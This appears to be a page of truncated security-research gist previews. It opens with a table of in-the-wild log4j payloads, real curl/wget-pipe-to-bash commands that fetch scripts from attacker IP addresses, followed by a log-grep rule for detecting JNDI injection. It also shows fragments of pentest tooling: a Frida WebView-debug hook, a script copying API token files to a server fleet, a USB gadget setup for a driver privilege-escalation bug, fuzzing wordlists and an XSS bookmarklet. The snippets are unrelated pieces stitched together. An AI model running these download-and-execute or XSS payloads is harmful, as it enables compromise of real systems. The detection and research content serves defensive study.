| b64decoded | hits | |
|---|---|---|
| (curl -s 45.155.205.233:5874/<IP_ADDRESS>||wget -q -O- 45.155.205.233:5874/<IP_ADDRESS>)|bash | 2056 | |
| (curl -s 80.71.158.12/lh.sh||wget -q -O- 80.71.158.12/lh.sh)|bash | 162 | |
| (curl -s 80.71.158.44/lh.sh||wget -q -O- 80.71.158.44/lh.sh)|bash | 2 |
You can use these commands and rules to search for exploitation attempts against log4j RCE vulnerability CVE-2021-44228
This command searches for exploitation attempts in uncompressed files in folder /var/log and all sub folders
sudo egrep -I -i -r '\$(\{|%7B)jndi:(ldap[s]?|rmi|dns|nis|iiop|corba|nds|http):/[^\n]+' /var/log
| # the required tools | |
| # subjs -> https://github.com/lc/subjs | |
| # js-beautify -> https://github.com/beautify-web/js-beautify | |
| # haklistgen -> https://github.com/hakluke/haklistgen | |
| haklist() { | |
| # declare TMPDIR variable | |
| TMPDIR="/tmp/haklist" |
| // Usage : frida -U -f bundle_id -l cordova-enable-webview-debug.js --no-pause | |
| Java.perform(function() { | |
| var Webview = Java.use("android.webkit.WebView") | |
| Webview.loadUrl.overload("java.lang.String").implementation = function(url) { | |
| console.log("[+]Loading URL from", url); | |
| this.setWebContentsDebuggingEnabled(true); | |
| this.loadUrl.overload("java.lang.String").call(this, url); | |
| } | |
| }); |
| #!/bin/bash | |
| # Use this as initial axiom's script on reconftw.cfg file to copy config files to the fleet | |
| axiom-exec 'mkdir -p /home/op/.config/amass/ /home/op/Tools/ /home/op/.config/subfinder/ /home/op/.config/notify/' | |
| axiom-scp ~/.config/amass/config.ini '*':/home/op/.config/amass/config.ini | |
| axiom-scp ~/Tools/h8mail_config.ini '*':/home/op/Tools/h8mail_config.ini | |
| axiom-scp ~/Tools/.github_tokens '*':/home/op/Tools/.github_tokens | |
| axiom-scp ~/.config/notify/notify.conf '*':/home/op/.config/notify/notify.conf | |
| axiom-scp ~/Tools/.gitlab_tokens '*':/home/op/Tools/.gitlab_tokens |
| # MINIMAL USB gadget setup using CONFIGFS for simulating Razer Gaming HID | |
| # devices for triggering the vulnerable Windows Driver installer | |
| # credits for the Windows Driver install vuln: @j0nh4t | |
| # | |
| # https://twitter.com/j0nh4t/status/1429049506021138437 | |
| # https://twitter.com/an0n_r0/status/1429263450748895236 | |
| # | |
| # the script was developed & tested on Android LineageOS 18.1 |
| ../wiki/ImageDatabaseSummary.md | |
| ./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz | |
| /.. | |
| /... | |
| /../ | |
| /.DS_Store | |
| /.codepushrelease | |
| /0-. | |
| /10000000 | |
| /3- |
| MD | |
| TermUrl | |
| a | |
| adjust_campaign | |
| alternatives | |
| amount | |
| app | |
| app_id | |
| appname | |
| avoid |
| ################################################## | |
| # Extra tools | |
| # $ sudo apt install -y kali-linux-default bloodhound-ce-python chisel chisel-common-binaries dirsearch enum4linux-ng feroxbuster goshs grc iputils-ping mssqlpwner nishang peass powercat rlwrap rubeus seclists shellter sshpass | |
| # urlencode: | |
| # $ sudo apt install gridsite-clients | |
| # csharp: | |
| # $ sudo apt install mono-csharp-shell mono-mcs | |
| # Install flatpak | |
| # -> https://www.kali.org/docs/tools/flatpak/ | |
| # Python2 pip |
| javascript:(function(){for (var t = document.getElementsByTagName("input"), e = 0; e < t.length; e++) "text" == t[e].getAttribute("type") && (t[e].value = '"><img src onerror=alert(document.domain)>')})();void(0) |